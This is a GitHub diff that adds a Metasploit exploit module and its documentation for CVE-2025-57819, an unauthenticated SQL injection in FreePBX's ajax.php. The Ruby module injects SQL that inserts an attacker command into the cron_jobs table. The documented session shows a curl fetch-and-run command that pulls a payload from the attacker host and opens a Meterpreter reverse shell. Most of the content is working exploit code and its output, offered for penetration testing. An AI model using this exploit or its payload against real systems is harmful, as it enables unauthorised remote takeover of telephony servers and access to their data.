Skip to content
115 changes: 115 additions & 0 deletions documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
## Vulnerable Application
FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17
endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing
unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation
and remote code execution.
This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819.
An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which
contains a SQL injection flaw. By leveraging this vulnerability, an attacker can
achieve remote code execution through the creation of cron jobs under the `asterisk`
database user context.

The following FreePBX version has been tested:

- FreePBX 16.0.33


## Testing
To set up a test environment:
1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso)
2. Confirm that the web service on port 80/443 is reachable.
3. Follow the verification steps below.

## Options
No custom options exist for this module.

## Verification Steps
1. Start msfconsole
2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `run`

## Scenarios
### FreePBX Linux Target
```
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options

Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / no The URI for the FreePBX installation
VHOST no HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


When FETCH_COMMAND is one of CURL,GET,WGET:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.


When FETCH_FILELESS is none:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces


Exploit target:

Id Name
-- ----
0 Unix Command



View the full module info with the info, or info -d command.

msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116
RHOSTS => 192.168.1.116
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0
LHOST => 192.168.1.65
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true
VERBOSE => true
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run
[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx&
[*] Fetch handler listening on 192.168.1.65:8080
[*] HTTP server started
[*] Adding resource /V3hgkVKmhAqViDKE6xmupA
[*] Started reverse TCP handler on 192.168.1.65:4444
[+] Created cronjob with job name: 'BUQm'
[*] Waiting for cronjob to trigger...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.1.116
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!

meterpreter > sysinfo
Computer : freepbx.sangoma.local
OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
143 changes: 143 additions & 0 deletions modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
remote code execution on the target system.
},
'License' => MSF_LICENSE,
'Author' => [
'Echo_Slow', # msf module
'Piotr Bazydlo', # POC used as a template
'Sonny' # POC used as a template
],
'References' => [
['CVE', '2025-57819'],
['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
],
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command',
{
'DefaultOptions' =>
{
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'WfsDelay' => 70 # cronjob may take up to a minute to start
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new(
'TARGETURI',
[false, 'The URI for the FreePBX installation', '/']
)
]
)
end

def check
print_status('Checking if vulnerable...')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
}
)

if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
return Exploit::CheckCode::Vulnerable('Detected SQL injection')
end

Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
end

def exploit
module_name = Rex::Text.rand_text_alpha(4..7)
@job_name = Rex::Text.rand_text_alpha(4..7)

rce_payload = Rex::Text.rand_text_alpha(4..7)
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => rce_payload
}
)

if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good("Created cronjob with job name: '#{@job_name}'")
print_status('Waiting for cronjob to trigger...')
else
fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
end
end

def cleanup
super

return unless @job_name

# Remove the created cronjob
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
}
)

print_status('Attempting to perform cleanup')

if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good('Cronjob removed, happy hacking!')
else
print_bad('Cronjob not removed, please perform manual cleanup!')
end
end
end